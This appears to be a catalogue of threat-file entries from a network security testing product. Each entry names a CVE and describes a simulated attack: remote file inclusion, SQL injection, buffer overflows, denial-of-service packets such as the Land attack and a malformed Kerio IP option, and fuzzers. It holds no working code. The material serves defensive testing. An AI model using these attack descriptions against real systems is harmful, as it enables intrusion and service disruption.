CVEID:	CVE-2006-0006
Threat Package:	Standard
Threat File Name:	admbok_cmi.xml
Executive Description:	Admbok Arbitrary Command Execution Vulnerability
Detailed Description:	This threat sends a crafted POST command with a modified X-Forwarded-For field containing PHP code which is executed by the server. Admbok is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	TSL20170314-29_Microsoft_Internet_Explorer_CVE-2017-0008_Information_Disclosure.xml
Executive Description:	Microsoft Internet Explorer CVE-2017-0008 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Internet Explorer. This vulnerability is due to the way IE handles objects in memory. A remote attacker can exploit this vulnerability by enticing a victim to open a maliciously crafted web page. Successful exploitation would allow the attacker gain knowledge of sensitive information on the target system.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2017-0008
Threat File Name:	FSC20080812-26_Microsoft_Powerpoint_TxMasterStyle10Atom_Processing_Code_Execution_IPv6.xml
Executive Description:	Microsoft Powerpoint TxMasterStyle10Atom Processing Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft PowerPoint. The vulnerability is due to improper boundary checking while parsing the TxMasterStyle10Atom atom in a Powerpoint presentation file. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious PowerPoint file, potentially causing arbitrary code to be executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1455
Threat Package:	Standard
Threat File Name:	firefoxBadHTML_IPv6.xml
Executive Description:	Firefox Malformed HTML Denial of Service (IPv6 Version)
Detailed Description:	This threat causes the firefox webbrowser to crash by parsing badly created html. This threat comes from a malicious web site, typically over port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20150923-03_GE_MDS_PulseNET_Hidden_Support_Account_Remote_Code_Execution.xml
Executive Description:	GE MDS PulseNET Hidden Support Account Remote Code Execution
Detailed Description:	A default credential vulnerability has been reported in GE MDS PulseNET. The vulnerability is due to static credentials of a hidden support account permitting administrator access to the system. A remote attacker can exploit these default credentials to access the system. Once authenticated, the attacker can perform various administrative tasks. This may lead to the execution of arbitrary code under the permissions of System. Tester should set the variable \$destPort to 8080 before test.
Protocol Type:	HTTP
CVEID:	CVE-2015-6456
Threat File Name:	TSL20130417-18_Oracle_Java_Web_Start_ActiveX_Control_launchApp_Memory_Access_Error.xml
Executive Description:	Oracle Java Web Start ActiveX Control launchApp Memory Access Error
Detailed Description:	A code execution vulnerability exists in Oracle Java Web Start. The vulnerability is due to memory corruption in javaws.exe, a helper application executed from the launchApp() method of the JWS ActiveX control. An attacker can exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation of this vulnerability can crash the vulnerable application creating a denial-of-service condition and could possibly be exploited to execute malicious code.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-2416
OSVDB:	92337
Threat File Name:	FSC20091214-03_HP_OpenView_Network_Node_Manager_webappmon.exe_CGI_Host_Header_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager webappmon.exe CGI Host Header Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the HP OpenView Network Node Manager (NNM) CGI program webappmon.exe. The vulnerability is due to a boundary error when processing the Host header from HTTP requests. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the Internet Guest account. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the logic of the malicious code.

Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-4177
Threat Package:	Standard
Threat File Name:	TSL20111213-12_Microsoft_Windows_OLE_Automation_OLESS_File_Objects_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows OLE Automation OLESS File Objects Memory Corruption(IPV6 VERSION)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows OLE automation. The vulnerability is due to insufficient validation of malformed OLE objects when parsing OLE Structured Storage documents (e.g. Office documents, etc.) Remote attackers could exploit this vulnerability by persuading unsuspecting users to view a specially crafted OLESS file. Successful exploitation would allow the attacker to execute arbitrary code in the context of the logged in user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3400
Threat File Name:	phpinfo.xml
Executive Description:	phpinfo.php Request
Detailed Description:	This threat performs a HTTP GET request for the file phpinfo.php. This file typically contains the phpinfo() function which discloses detailed information about what is running on the server. PHP is a web application language and typically will listen on port 80 with a webserver.
Protocol Type:	HTTP
CVEID:	CVE-2002-1149
OSVDB:	3356
Threat Package:	Standard
Threat File Name:	FSC20080122-06_Citadel_SMTP_RCPT_TO_Remote_Buffer_Overflow.xml
Executive Description:	Citadel SMTP RCPT TO Remote Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Citadel SMTP Server. The vulnerability is due to insufficient boundary check when processing user provided data. Remote attackers could exploit this vulnerability by supplying a specially crafted RCPT TO command to the server. Successful exploitation of this vulnerability allows remote attackers execute arbitrary code with the privileges of the affected application.
Protocol Type:	
Threat Package:	Standard
Threat File Name:	FSC20041006-01_Mozilla_Firefox_Download_Directory_File_Deletion_Vulnerability.xml
Executive Description:	Mozilla Firefox Download Directory File Deletion Vulnerability
Detailed Description:	There is a vulnerability in the way Mozilla Firefox handles file download operations. If the vulnerable victim saves a remote resource that uses a specific scheme, files within the download folder can be deleted. An attacker could exploit this vulnerability to remove files in the user download directory.
Protocol Type:	HTTP
CVEID:	CVE-2004-2225
Threat Package:	Standard
Threat File Name:	TSL20160119-24_Oracle_Application_Testing_Suite_DownloadServlet_scenario_Directory_Traversal_IPv6.xml
Executive Description:	Oracle Application Testing Suite DownloadServlet scenario Directory Traversal(IPv6 version)
Detailed Description:	A directory traversal vulnerability exists in the in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation while processing HTTP requests to the "/olt/download" URI.A remote unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation results in arbitrary file download from the target server.
Protocol Type:	HTTP,IPV6
CVEID:	CVE-2016-0477
Threat File Name:	FSC20041015-01_Microsoft_Windows_NNTP_Component_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows NNTP Component Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the Microsoft Windows Network News Transfer Protocol (NNTP) component. The vulnerability exists in the parsing and translating methods of the NNTP XPAT and SEARCH commands parameters. Leveraging this vulnerability could allow an attacker to execute arbitrary code on the target system. (IPv6 Version)
Protocol Type:	NNTP/IPv6
CVEID:	CVE-2004-0574
Threat Package:	Standard
Threat File Name:	TSL20150630-10_IBM_Tivoli_Storage_Manager_FastBack_Server_Opcode_1331_lza32_Command_Injection_IPv6.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Server Opcode 1331 lza32 Command Injection IPv6 version
Detailed Description:	A command injection vulnerability exists in IBM Tivoli Storage Manager FastBack Server. The vulnerability is due to insufficient input validation of parameters in opcode 1331 requests. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to port 11460/TCP. Successful exploitation results in arbitrary command execution within the context of System. Tester should set variable \$destPort to 11460 before test.
Protocol Type:	TCP.IPV6
CVEID:	CVE-2015-1938
Threat File Name:	firefly_mediaserver_dos.xml
Executive Description:	Firefly Media Server <= 0.2.4 Remote Denial of Service Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a denial of service in Firefly Media Server via an empty Authorization header line. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5824
Threat Package:	Standard

Threat File Name:	TSL20170313-05_HPE_Intelligent_Management_Center_UrlAccessController_Authentication_Bypass.xml
Executive Description:	HPE Intelligent Management Center UrlAccessController Authentication Bypass
Detailed Description:	An authentication bypass vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to errors in handling specific strings contained in the request URI. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request to the target system. Successful exploitation allows an attacker to bypass authentication requirements on a target URI which can be leveraged to perform further attacks.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-5791
Threat File Name:	uberghey_rfi.xml
Executive Description:	Uberghey 0.3.1 (frontpage.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. UberGhey CMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0359
Threat Package:	Standard
Threat File Name:	dbguestbook_rfi.xml
Executive Description:	DBGuestbook 1.1 (dbs_base_path) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. DBGuestbook is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090204-19_Squid_HTTP_Version_Number_Parsing_Denial_of_Service_IPv6.xml
Executive Description:	Squid HTTP Version Number Parsing Denial of Service (IPv6 Version)
Detailed Description:	There exists a denial of service vulnerability in the way Squid handles HTTP version number. The vulnerability is due to inappropriate parsing the version number when processing malformed HTTP requests. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted HTTP request packets to an affected system. Successful exploitation may cause the service to terminate. Upon receiving a crafted HTTP request message, the Squid proxy server will terminate and reset all established connections. However, the Squid monitor process will re-spawn the worker process automatically which restores the proxy services. If the attack is launched continuously, the target Squid proxy may be put into a lasting denial-of-service condition. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080909-06_Microsoft_Media_Player_Audio_Sampling_Rate_Memory_Corruption.xml
Executive Description:	Microsoft Media Player Audio Sampling Rate Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Windows Media Player 11. The vulnerability is due to insufficient memory allocation when playing audio files with different sampling rates within a single audio stream. An attacker may exploit this vulnerability by enticing a target user to open a malicious audio stream URL. Successful exploitation might lead to injection and execution of arbitrary code in the security context of the currently logged in user. In an attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the currently logged in user. In an attack case where code injection is not successful, the vulnerable Windows Media Player application may terminate abnormally.
Protocol Type:	MMS/RTSP
CVEID:	CVE-2008-2253
Threat Package:	Standard
Threat File Name:	TSL20120319-08_LANDesk_ThinkManagement_Suite_ServerSetup_asmx_Directory_Traversal_IPv6.xml
Executive Description:	LANDesk ThinkManagement Suite ServerSetup.asmx Directory Traversal(IPV6 Version)
Detailed Description:	A directory traversal vulnerability exists in LANDesk ThinkManagement Suite. The vulnerability is due to insufficient validation of user input while processing requests sent to ServerSetup.asmx. By specifying a RunAMTCommand operation, remote, unauthenticated attackers are able to create arbitrary files on the server and execute arbitrary code from the uploaded file.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2012-1195
OSVDB:	79276
Threat File Name:	FSC20080109-09_SAP_MaxDB_Remote_Arbitrary_Commands_Execution.xml
Executive Description:	SAP MaxDB Remote Arbitrary Commands Execution
Detailed Description:	A shell command injection vulnerability exists in MaxDB database service. The vulnerability can be triggered when the service processes malicious exec_sdbinfo SAP commands. An unauthenticated attacker can exploit this vulnerability by delivering a crafted request to the target host, resulting in command injection and execution with privileges of the affected MaxDB database service.
Protocol Type:	
CVEID:	CVE-2008-0244
Threat Package:	Standard
Threat File Name:	ms05-039_IPv6.xml
Executive Description:	Microsoft Plug and Play Remote Code Execution Attack (IPv6 Version)
Detailed Description:	This threat uses Microsoft's Remote Plug and Play service to run remote code in the context of the SYSTEM user. This exploit is currently being used by the Zotob.B worm in circulation in the wild. This attack uses the SMB port on Microsoft systems, which typically listens on port 445. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2005-1983
OSVDB:	18605
Threat Package:	Standard
Threat File Name:	TSL20170118-01_Fatek_Automation_PLC_WinProladder_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Fatek Automation PLC WinProladder Stack Buffer Overflow (IPv6 Version)

Detailed Description:	A stack-based buffer overflow exists in Fatek Automation PLC WinProladder. The vulnerability is due to improper validation of user supplied data before copying to a stack-based buffer. A remote attacker could exploit this vulnerability by sending a crafted .pdw file over a network to the vulnerable application. Successful exploitation could result in denial of service conditions or, in the worst case, arbitrary code execution in the context of the user running the application. The vendor, Fatek Automation, has not released a patch regarding this vulnerability at the time of writing.
Protocol Type:	FTP,HTTP,HTTPS,IMAP,NFS,POP3,SMTP,SMB/CIFS,IPv6
CVEID:	CVE-2016-8377
Threat File Name:	phpbbs_cmi.xml
Executive Description:	phpBB admin 2 exec Exploit
Detailed Description:	This threat sends a standard HTTP query which uses an SQL query to insert PHP code which is executed by the server. phpBB typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070716-17_Microsoft_Internet_Explorer_OnBeforeUnload_JavaScript_Address_Bar_Spoofing.xml
Executive Description:	Microsoft Internet Explorer OnBeforeUnload JavaScript Address Bar Spoofing
Detailed Description:	An address bar spoofing vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to improper resource handling when the user navigates via address bar to a trusted site. An attacker can exploit the vulnerability by constructing a specially crafted web page to spoof the legitimate site.
Protocol Type:	HTTP
CVEID:	CVE-2007-3826
Threat Package:	Standard
Threat File Name:	FSC20080721-02_BEA_WebLogic_Server_Apache_Connector_HTTP_Version_String_Buffer_Overflow_IPv6.xml
Executive Description:	BEA WebLogic Server Apache Connector HTTP Version String Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a string buffer overflow vulnerability in BEA WebLogic Server Apache Connector. The vulnerability is due to a boundary error in the Apache connector. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would allow the attacker to execute arbitrary code on the vulnerable system with privileges of the running process, normally System. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3257
Threat Package:	Standard
Threat File Name:	ovidenta_rfi_IPv6.xml
Executive Description:	Ovidentia Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing the path for a remote file to include in the returned page via malicious code in a web cookie for every installed script. Ovidentia is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2811
Threat Package:	Standard
Threat File Name:	TSL20170406-03_Trend_Micro_Smart_Protection_Server_wcs_bwlists_handler.php_Command_Injection.xml
Executive Description:	Trend Micro Smart Protection Server wcs_bwlists_handler.php Command Injection
Detailed Description:	A remote command execution vulnerability exists in the wcs_bwlists_handler.php script of Trend Micro Smart Protection Server. The vulnerability is due to insufficient validation of user-supplied input. A remote, authenticated attacker could exploit this vulnerability by providing crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of the webserv user.
Protocol Type:	HTTPS
Threat File Name:	TSL20111110-03_Novell_ZENworks_LaunchHelp_dll_ActiveX_Control_LaunchProcess_Code_Execution.xml
Executive Description:	Novell ZENworks LaunchHelp.dll ActiveX Control LaunchProcess Code Execution
Detailed Description:	A vulnerability exists in Novell ZENworks. Specifically, the vulnerability is due to an access control weakness in the ActiveX Control LaunchHelp.HelpLauncher when handling the LaunchProcess() method. A remote attacker can exploit the vulnerability by enticing a user to open a specially crafted web page. Successful exploitation can result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-2657
Threat File Name:	TSL20130529-01_Apache_HTTP_Server_mod_rewrite_RewriteLog_Command_Execution.xml
Executive Description:	Apache HTTP Server mod_rewrite RewriteLog Command Execution
Detailed Description:	A command execution vulnerability exists in Apache HTTP web server mod_rewrite. The vulnerability is due to a lack of input validation in handling certain escape sequences when writing to the log file. A remote attacker can exploit these vulnerabilities by sending a specially crafted HTTP request. Successful exploitation could result in attacker controlled script command executing.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-1862
OSVDB:	93366
Threat File Name:	sipfivedigitdate_IPv6.xml
Executive Description:	SIP Five Digit Date (IPv6 Version)
Detailed Description:	This threat sends a SIP NOTIFY message with a Date: header specifying a date in the year 10000. Only dates with four digit years are legal, so this message may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	powerdvd_clavsetting_activex_overwrite.xml
Executive Description:	CyberLink PowerDVD CLAVSetting Module (CLAVSetting.DLL 1.00.1829) arbitrary remote rewrite vulnerability

Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the CyberLink PowerDVD CLAVSetting.DLL ActiveX Control, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5219
Threat Package:	Standard
Threat File Name:	FSC20090616-06_CA_ARCserve_Backup_Message_Engine_RPC_Opcode_59_Denial_of_Service.xml
Executive Description:	CA ARCserve Backup Message Engine RPC Opcode 59 Denial of Service
Detailed Description:	A denial of service vulnerability exists in CA ARCserve Backup Message Engine. The vulnerability is due to insufficient data validation. A remote unauthenticated attacker could exploit this vulnerability by sending a crafted message to the target server. A successful attack would create a denial of service condition to the Message Engine service.
Protocol Type:	DCE-RPC
CVEID:	CVE-2009-1761
Threat Package:	Standard
Threat File Name:	videolan_vlc_format.xml
Executive Description:	VLC Media Player Format String Attack
Detailed Description:	This attack sends a malicious file targeting the VLC player for Mac OS X. This sets off a format string condition, which can be exploitable. This attack comes from the virtual server, as from a malicious web server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	netbios_scan.xml
Executive Description:	NetBIOS Query
Detailed Description:	This threat queries the NetBIOS name service on a Microsoft Windows machine to see what it has available, including shared files and printers. Typically is sent to UDP port 137 and used as the first step to determine the type of attack to use.
Protocol Type:	NETBIOS_NS
Threat Package:	Standard
Threat File Name:	ultra_crypto_activex_bof_IPv6.xml
Executive Description:	Ultra Crypto Component (CryptoX.dll <= 2.0) Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Ultra Crypto ActiveX Control, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	webspotblog_sqli.xml
Executive Description:	WebspotBlogging Login.PHP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server, this query also bypasses authentication. Webspot Blog is a web application and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0324
OSVDB:	22670
Threat File Name:	TSL20150918-04_Microsoft_Word_FcPlcfFldMom_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Word FcPlcfFldMom Memory Corruption IPv6 version.
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Word. The vulnerability is due Microsoft Word parsing a malformed PlcfFld causing it to incorrectly initialize an object in memory. An unauthenticated remote attacker can exploit this vulnerability by enticing a user to open a specially crafted word document. Successful exploitation can result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP/HTTPS/IMAP/SMTP/SMB/CIFS.IPV6
CVEID:	CVE-2015-2477
Threat File Name:	firefox_mfsa2006-45_IPv6.xml
Executive Description:	Mozilla Navigator Java Crash (IPv6 Version)
Detailed Description:	This threat sends a malicious webpage designed to cause memory corruption in the mozilla application. By re-assigning a location to the Navigator object in firefox, when the java virtual machine is loaded it references that location and can either execute arbitrary code, or cause a crash. Malicious webpages typically come from servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3677
OSVDB:	27559
Threat Package:	Standard
Threat File Name:	chilkat_zip_activex_overwrite_IPv6.xml
Executive Description:	Chilkat Zip ChilkatZip2.DLL Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a flaw in Chilkat Zip ActiveX Component allowing it to overwrite any file on the victim system. this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3633
Threat Package:	Standard
Threat File Name:	smartcode_vnc_activex_dos_IPv6.xml
Executive Description:	SmartCode VNC Manager ActiveX Control Scvncctrl.DLL Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in SmartCode VNC Manager's ActiveX control trigger denial-of-service conditions in Internet Explorer when accessed from a malicious webserver listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2526
Threat Package:	Standard
Threat File Name:	ms_mediaplayer_mid_dos.xml
Executive Description:	Microsoft Windows Media MID File Denial Of Service Vulnerability

Detailed Description:	This threat uses a malicious midi (.mid) file that once played in a vulnerable Windows Media Player client will result in a denial of service condition. Windows Media Player is a client application that can retrieve midi files from a web server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	phpdownloadman_sqli.xml
Executive Description:	PHP Download Manager Files.PHP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL query that contains HTML or javascript to be included in the page. Revize CMS is an web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3679
OSVDB:	20949
Threat Package:	Standard
Threat File Name:	TSL20120208-09_CA_Total_Defense_Suite_UNCWS_exportReport_SQL_Injection.xml
Executive Description:	CA Total Defense Suite UNCWS exportReport SQL Injection
Detailed Description:	An SQL Injection vulnerability exists in CA Total Defense Suite UNC Management Console. The vulnerability is due to insufficient sanitization of the request parameters in a stored procedure. A remote unauthenticated attacker can exploit this vulnerability by sending a craft SOAP request to the target on port 34444 for HTTP and 34443 for HTTPS. Any injected SQL commands will run with DBA privileges. This vulnerability can be leveraged by a remote unauthenticated attacker to execute arbitrary code on a target system with SYSTEM privileges by the means of SQL exec function.
Protocol Type:	HTTP,HTTPS
Threat File Name:	FSC20060620-09_Microsoft_Excel_Embedded_Shockwave_Flash_Object_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Embedded Shockwave Flash Object Code Execution (IPv6 Version)
Detailed Description:	A vulnerability exists in the Shockwave Flash object when embedded in Microsoft Excel. The flaw allows script code to be automatically executed by a Shockwave Flash Object contained within an XLS document. An attacker may exploit this vulnerability by enticing a user to open a crafted Excel file, which may result in execution of arbitrary script code within the security context of the current user. Another vector of exploitation of the Shockwave Flash object vulnerability, other than through embedding in XLS, is reported to exist as well. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3014
Threat Package:	Standard
Threat File Name:	land.xml
Executive Description:	Land Attack
Detailed Description:	This threat sends a spoofed TCP SYN packet with the same source and destination IP and port. This causes the target machine to potentially respond in an undesirable way.
Protocol Type:	TCP
CVEID:	CVE-1999-0016
OSVDB:	14789
Threat Package:	Standard
Threat File Name:	fuzz-HSRP_OpCode.xml
Executive Description:	Fuzzer for Protocol:HSRP and Field:OpCode
Detailed Description:	
Protocol Type:	HSRP
Threat Package:	Fuzzing
Threat File Name:	dlink_upnp_notify_IPv6.xml
Executive Description:	D-Link Router uPnP Stack Overflow NOTIFY (IPv6 Version)
Detailed Description:	This threat causes a stack overflow on affected D-Link routers by sending out a uPnP NOTIFY request with overly long parameters. This can crash the router or cause code execution. uPnP operates on UDP port 1900. (IPv6 Version)
Protocol Type:	UPnP/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_curlies_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with {} (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with {} from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20060206-02_IBM_Lotus_Domino_LDAP_Server_Memory_Exception_Vulnerability.xml
Executive Description:	IBM Lotus Domino LDAP Server Memory Exception Vulnerability
Detailed Description:	There exists a memory exception vulnerability in IBM Lotus Domino LDAP Server. The flaw is caused by improper validation of the user supplied data in an LDAP bind request. An attacker can exploit this vulnerability to terminate the target server which causes a denial of service condition.
Protocol Type:	LDAP
CVEID:	CVE-2006-0580
Threat Package:	Standard
Threat File Name:	vantage_answerworks_activex_bof.xml
Executive Description:	Vantage Linguistics AnswerWorks 4 API ActiveX Control Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow Vantage Linguistics AnswerWorks ActiveX application, resulting in the overwritingof arbitrary files or code execution. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-6387
Threat Package:	Standard
Threat File Name:	FSC20100217-01_MIT_Kerberos_KDC_Authentication_Denial_of_Service.xml

Executive Description:	MIT Kerberos KDC Authentication Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in MIT's Kerberos KDC. The vulnerability is due to an assertion failure when handling invalid Authentication Service requests. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted AS-REQ packet to the target KDC, causing it to crash, creating a denial of service condition.
Protocol Type:	Kerberos ASN.1
CVEID:	CVE-2010-0283
Threat Package:	Standard
Threat File Name:	kerio_dos_IPv6.xml
Executive Description:	Kerio Personal Firewall IP Options Denial Of Service (IPv6 Version)
Detailed Description:	This threat creates a false DNS reply packet that contains a malformed IP Options field designed to crash Kerio Personal Firewall. The IP Options are set to 01014400, which specifies a timestamp field with a length of 00, causing the Kerio Firewall software to enter an unending loop inside of the Microsoft Windows kernel. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2004-1109
OSVDB:	11582
Threat Package:	Standard
Threat File Name:	aardvarktopsites_cmi_b_IPv6.xml
Executive Description:	Aardvark Topsites PHP 4.2.2 Remote Command Execution (IPv6 Version)
Detailed Description:	This threat leverages an arbitrary file inclusion flaw into a remote command execution flaw through a flaw in the lostpw.php script. Aardvark Topsites is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090320-09_Mozilla_Firefox_XUL_Tree_Element_Code_Execution.xml
Executive Description:	Mozilla Firefox XUL Tree Element Code Execution
Detailed Description:	A memory corruption vulnerability exists in Mozilla Firefox. The flaw is due to a dangling pointer while processing a malicious XUL document. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. In a successful attack, where arbitrary code is injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious document.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1044
Threat Package:	Standard
Threat File Name:	TSL20141020-06_PHP_exif_Extension_exif_ifd_make_value_Thumbnail_Heap_Buffer_Overflow.xml
Executive Description:	PHP exif Extension exif_ifd_make_value Thumbnail Heap Buffer Overflow
Detailed Description:	A code execution vulnerability exists in PHP exif extension. The vulnerability is due to a buffer overflow when handles exif thumbnail. A remote attacker can exploit the vulnerability by sending crafted picture data to a web application running a vulnerable version of PHP. A successful attack will crash the application, and possibly result in remote code execution.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-3670
OSVDB:	113421
Threat File Name:	IMail_whois.xml
Executive Description:	IMail Whois Daemon Overflow
Detailed Description:	This threat sends a payload 1000 bytes to the whois daemon that ships with IMail 5.0 (port 43). This causes a buffer overflow condition, which can be exploited to gain unauthorized access to the machine.
Protocol Type:	Whois
CVEID:	CVE-1999-1551
OSVDB:	10843
Threat Package:	Standard
Threat File Name:	TSL20121211-12_Microsoft_Windows_TrueType_Font_File_Parsing_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows TrueType Font File Parsing Remote Code Execution(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Windows. The vulnerability is due to Windows improperly handling objects in memory when parsing crafted TrueType fonts. A remote, unauthenticated attacker can exploit this vulnerability to execute arbitrary code with kernel permissions.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-4786
OSVDB:	88320
Threat File Name:	TSL20151215-02_LibreOffice_and_OpenOffice_ODF_Document_PrinterSetup_Integer_Underflow.xml
Executive Description:	LibreOffice and OpenOffice ODF Document PrinterSetup Integer Underflow
Detailed Description:	An integer underflow vulnerability exist in LibreOffice and OpenOffice. The vulnerability is due to the insufficient size checks when processing the PrinterSetup data within ODF documents. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a specially crafted document. Successful exploitation will result in arbitrary code execution in the context of the logged in user.
Protocol Type:	HTTPS,HTTP,IMAP,SMB/CIFS,SMTP
CVEID:	CVE-2015-5212
Threat File Name:	FSC20080421-06_Adobe_Multiple_Products_BMP_Image_Header_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Multiple Products BMP Image Header Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way multiple Adobe products parse BMP files. The vulnerability is due to boundary errors while handling BMP files Image Header. An attacker may exploit this vulnerability by enticing a target user to open a malicious BMP file. Successful exploitation might lead to injection and execution of arbitrary code in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1765

Threat Package:	Standard
Threat File Name:	ICMPTimestamp.xml
Executive Description:	ICMP Timestamp Flood
Detailed Description:	This threat is executed by sending a remote host requests for an ICMP timestamp from randomized, false sources. This causes the targeted system to reply to all messages resulting in resource exhaustion and possibly a denial of service. Also, this threat can be modified to examine the ICMP timestamp reply in order to determine the date on the targeted system. This information can be useful when trying to defeat time based authentication tools.
Protocol Type:	ICMP
CVEID:	CVE-1999-0524
OSVDB:	94
Threat Package:	Standard
Threat File Name:	squirrelcart_cmi_IPv6.xml
Executive Description:	Squirrelcart 2.2.0 (cart_content.php) Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via cart_content.php's cart_isp_root parameter. Squirrelcart is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2483
